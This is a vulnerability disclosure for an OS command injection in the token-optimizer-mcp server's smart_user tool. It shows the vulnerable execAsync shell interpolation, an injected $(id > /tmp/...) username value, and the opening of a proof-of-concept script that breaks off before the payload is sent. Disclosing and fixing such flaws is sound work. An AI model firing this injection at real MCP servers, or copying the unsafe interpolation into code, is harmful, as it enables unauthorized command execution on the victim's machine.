Token Optimizer MCP: OS command injection in smart_user via username in get-user-info

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

const { stdout: passwdOut } = await execAsync(
  `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

tool: smart_user
operation: get-user-info
argument: username

Root cause:

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

Node.js installed
token-optimizer-mcp built from source

Build from source:

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT"